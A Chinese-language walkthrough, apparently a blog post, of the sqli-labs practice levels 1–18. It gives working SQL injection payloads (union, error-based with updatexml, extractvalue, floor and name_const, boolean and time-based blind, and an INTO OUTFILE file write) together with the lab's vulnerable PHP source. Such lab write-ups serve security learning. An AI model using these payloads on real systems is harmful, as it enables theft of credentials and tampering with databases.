0x01 Less1-Less10

参考旧博客文章《Sqli-labs之Less1-10》,个人觉得写得还算详细。

下面补下之前遇到的坑,就是level7中payload无法往当前目录写文件的问题,后来发现是这个问题,mysql的配置文件my.ini中使用到了–secure-file-priv这个参数,这个参数的主要目的就是限制LOAD DATA INFILE或者SELECT INTO OUTFILE之类文件的目录位置:

1
2
#To avoid warning messages
secure_file_priv="E:/wamp64/tmp"

解决办法直接将其置空即可。

再发一次payload,就能在当前目录访问生成的文件了:

1
http://localhost/sqli/Less-7/?id=0')) union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users into outfile "E:\\wamp64\\www\\sqli\\Less-7\\7.txt" %23

0x02 Less11

打开是个登录界面,可以输入用户名和密码,尝试输入admin’:

可以看到页面直接返回显示报错信息:’666’ LIMIT 0,1’

再在password中尝试注入:

显示报错信息:’’666’’ LIMIT 0,1’

由此推测后台SQL语句可能为:SELECT xx FROM XX WHRER username=’admin’ and password=’666’ LIMIT 0,1;

验证一下,这里用’ and 1=1#和’ and 1=2#来组合验证是行不通的,因为这并非和前面的level一样只有一个入参,而且这里我们本来就不知道正确的用户名和密码,因此后面再加and是无法判断的,那就直接用or:

没毛病,直接上payload:

1
uname=admin&passwd=666' union select 1,group_concat(concat_ws(char(32,58,32),id,username,password)) from users#&submit=Submit

最后看下源码的SQL语句,确实和推测的差不多:

1
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

0x03 Less12

和level11一样的登录界面,在用户名处输入双引号后出现如下报错信息:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '666") LIMIT 0,1' at line 1

推测后台SQL语句可能为:SELECT xx FROM XX WHRER username=(“admin”) and password=(“666”) LIMIT 0,1;

输入uname=admin”)&passwd=666&submit=Submit看到该报错信息即可验证:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '") and password=("666") LIMIT 0,1' at line 1

payload:

1
uname=admin&passwd=666") union select 1,group_concat(concat_ws(char(32,58,32),id,username,password)) from users#&submit=Submit

看下SQL语句源码:

1
2
3
4
// connectivity
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

0x04 Less13

和level12一样,只是双引号换成了单引号,查询失败返回显示错误信息,但查询成功不返回显示任何字段内容。

由此可知,是,利用和level5类似,利用基于错误的SQL语句,如下面利用报错显示出数据库名:

1
') union select 1,2 from(select count(*),concat_ws(char(32,58,32),database(),floor(rand()*2))name from information_schema.tables group by name)b#

直接上payload,其中若不使用group_concat则只要改下limit 0,1的第一个参数即可遍历所有变量:

1
2
3
4
5
') union select 1,2 from(select count(*),concat(char(32,58,32),(select group_concat(table_name) from information_schema.tables where table_schema='security'),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b#

') union select 1,2 from(select count(*),concat(char(32,58,32),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b#

') union select 1,2 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b#

看下源码,注释掉了显示代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/ connectivity 
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
//echo '<font color= "#0000ff">';

echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
//echo 'Your Login name:'. $row['username'];
//echo "<br>";
//echo 'Your Password:' .$row['password'];
//echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';

echo "</font>";
}

0x05 Less14

和less13原理一样,都是利用基于错误的SQL语句,只不过不是’)而是”双引号:

1
uname=admin&passwd=666" union select 1,2 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b#&submit=Submit

看下源码SQL语句:

1
2
3
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

0x06 Less15

测试几下,发现是基于布尔型的盲注,用单引号注入。

具体参考Less8即可,如下面用二分法爆破出DB名:

1
uname=admin&passwd=666' or ascii(substr((select database()), 1, 1))>114#&submit=Submit

其他的步骤类似,不再赘述了。

看下源码,把输出都注释了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// connectivity 
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
//echo '<font color= "#0000ff">';

echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in\n\n " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
//echo 'Your Login name:'. $row['username'];
echo "<br>";
//echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';

echo "</font>";
}

0x07 Less16

上Less15原理一致,只不过单引号变成”)注入:

1
uname=admin&passwd=666") or ascii(substr((select database()), 1, 1))>114#&submit=Submit

其他的步骤类似,不再赘述了。

看下源码,把输出都注释了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// connectivity
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
//echo '<font color= "#0000ff">';

echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
//echo 'Your Login name:'. $row['username'];
echo "<br>";
//echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';

echo "</font>";
}

0x08 Less17

这是一道UPDATE语句的SQL注入。

看界面,说是可以重置密码:

尝试在username和password中注入,发现在password中注入时会报错显示出来:

这里报错显示’admin’’。结合是重置密码的功能,可以推测出这里是UPDATE语句,从而退出后台SQL语句应该为:UPDATE users SET password=’xxx’ WHERE username=’admin’;。

验证一下,看下源码中SQL语句怎么写的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];

...

// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";

if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}

echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
echo "</br>";
echo '<img src="../images/slap1.jpg" />';
echo "</font>";
}
}

可以看到和推测的SQL语句一样,而且还看到程序对username进行了过滤,但并未过滤password。

那我们现在看看过滤函数的实现,看看能不能绕过从而实现username参数的注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}

else
{
$value = intval($value);
}
return $value;
}

可以看到先判断参数是否为空,不为空则取前15位,然后调用get_magic_quotes_gpc()函数判断magic_quotes_gpc是否开启(返回0表示本功能关闭,返回1表示本功能打开),开启了的话(当magic_quotes_gpc打开时,所有的’(单引号)、”(双引号)、(反斜杠)和NULL(空字符)会自动转为含有反斜杠的溢出字符)就调用stripslashes()删除由addslashes()函数添加的反斜杠;接着调用ctype_digit(string)函数检查字符串中每个字符是否都是十进制数字(若是则返回TRUE,否则返回FALSE),当判断为非十进制数组时则调用mysql_real_escape_string()过滤参数。

可知,对username参数的过滤很有效,无从下手,只能对password进行注入了。

Method1——updatexml()函数

函数定义:

1
updatexml(xml_target,xpath_expr,new_xml)
参数 描述
xml_target 目标xml,形式类似于节点目录
xpath_expr xml的表达式(xpath格式)
new_xml 用来替换的xml

updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数。

简单来说就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。

使用该函数的注入原理是主要是利用报错返回信息。将updatexml()的xml_target和new_xml参数随便设定一个数即可。利用updatexml()获取数据的固定payload是:

1
... or updatexml(1,concat('#',(select * from (select ...) a)),0) ...

注入一下payload即可显示数据库信息,其中0x2b为+号,当然可以用单引号直接括起来添加:

1
2
3
uname=admin&passwd=666' or updatexml(1,concat('+',(select database()),'+'),0)#&submit=Submit

uname=admin&passwd=666' or updatexml(1,concat(0x2b,(select database()),0x2b),0)#&submit=Submit

报错显示出数据库名了,接着爆出表名吧,一开始输入如下payload虽然执行成功但没有显示报错内容:

1
uname=admin&passwd=666' or updatexml(1,concat(0x2b,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x2b),0)#&submit=Submit

后面测试了一番,发现将or换成and就可以了:

1
2
3


uname=admin&passwd=666' and updatexml(1,concat(0x2b,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x2b),0)#&submit=Submit

然后查询列名:

1
uname=admin&passwd=666' and updatexml(1,concat(0x2b,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x2b),0)#&submit=Submit

最后本该列出所以该数据库表信息的,但是报错了:

1
uname=admin&passwd=666' and updatexml(1,concat(0x2b,(select group_concat(concat_ws(char(32,58,32),id,username,password)) from users),0x2b),0)#&submit=Submit

不能先select表中的某些值,再update这个表(在同一语句中)。

解决方法:将select出的结果作为派生表再select一遍,这样就规避了错误。

注意:此问题只出现于MySQL,msSQL和Oracle不会出现此问题。

最后需要我们再加一层select查询,然后加上别名(这里示例写了test)才能正常拿到password:

1
uname=admin&passwd=666' and updatexml(1,concat(0x2b,(select * from (select concat_ws(':',id,username,password) from users limit 0,1) test),0x2b),0)#&submit=Submit

这里示例是通过limit遍历各个用户的密码,使用group_concat这里是测试不通过的。

Method2——extractvalue()函数

原理和用法跟updatexml()函数几乎一样,只是少了第三个参数:

1
extractvalue(xml,value)

extractvalue()函数也是MySQL 5.1以后推出的对xml文档数据进行查询和修改的xpath函数。

extractvalue()的xml参数随便设定一个数。利用extractvalue()获取数据的固定payload是:

1
... or extractvalue(1,concat('#',(select * from (select ....) a)))--+

直接上payload:

1
uname=admin&passwd=666' and extractvalue(1,concat(0x2b,(select * from (select concat_ws(':',id,username,password) from users limit 0,1) test),0x2b))#&submit=Submit

Method3——floor()函数

报错显示数据库名:

1
uname=admin&passwd=666' and (select 1 from (select count(*),concat(database(),':',floor(rand(0)*2))x from information_schema.tables group by x)a) #&submit=Submit

接着可以使用group_concat列出所有表名:

1
uname=admin&passwd=666' and (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),':',floor(rand(0)*2))x from information_schema.tables group by x)a) #&submit=Submit

列出列名:

1
uname=admin&passwd=666' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),':',floor(rand(0)*2))x from information_schema.tables group by x)a) #&submit=Submit

最后获取数据库信息时,通过group_concat是不成功的,只能利用limit遍历出来:

1
uname=admin&passwd=666' and (select 1 from (select count(*),concat((select concat_ws(':',id,username,password) from users limit 0,1),':',floor(rand(0)*2))x from information_schema.tables group by x)a) #&submit=Submit

Method4——基于时间的盲注

开始时尝试的盲注老有问题,于是参考了sqlmap是怎么注入的:

1
2
3
4
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=admin&passwd=666' AND (SELECT * FROM (SELECT(SLEEP(5)))hHwh)-- thmc&submit=Submit
Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

可以看到,sqlmap中基于时间的盲注是基于Double Select注入,在其中结合sleep以及if来实现注入的。具体的实现如下,逐个字符猜测,当猜测正确时页面是sleep 10秒,否则马上响应:

1
uname=admin&passwd=666' and (select * from (select(sleep(10-if(ascii(substr(database(),1,1))=115,0,10))) )mi1k7ea)#&submit=Submit

这里ASCII码155对应字符s,逐个字符推出数据库名为security。

接着推出表名,ASCII码117对应字符u,这里直接推出limit 2,1为users表的开始:

1
uname=admin&passwd=666' and (select * from (select(sleep(10-if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 2,1),1,1))=117,0,10))) )mi1k7ea)#&submit=Submit

接着推字段,ASCII码105为字符i,这里可推出第一个字段名为id:

1
uname=admin&passwd=666' and (select * from (select(sleep(10-if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,0,10))) )mi1k7ea)#&submit=Submit

最后就是爆表的内容了,ASCII码48为字符0,我本地的admin密码现在是0:

1
uname=admin&passwd=666' and (select * from (select(sleep(10-if(ascii(substr((select password from users where username='admin'),1,1))=48,0,10))) )mi1k7ea)#&submit=Submit

Method5——name_const()函数

只适用于MySQL版本高于5.0.12,但又稍旧的版本。不适用于现在的5.7版本,会显示Incorrect arguments to NAME_CONST。

函数定义:

1
name_const(name,value)

返回给定值,当用来产生一个结果集合列时,name_const()促使该列使用给定名称。

获取数据库名:

1
666' and (SELECT * FROM (SELECT name_const(database(),1),name_const(database(),1)) a) WHERE username='admin'#

获取表名:

1
666' and (SELECT * FROM (SELECT name_const((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),1),name_const((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),1)) a)#

总的来说,对于update、delete和insert都有一个固定的结构:

1
... or (select * from (select name_const((select ...),1),name_const((select ...),1)) a) ...

0x09 Less18

访问页面,有个登录框和显示ip地址一栏信息:

尝试一番操作,在username和password都没有疑似SQL注入的问题。

其实本页面的标题已经提示我们是HTTP头注入了。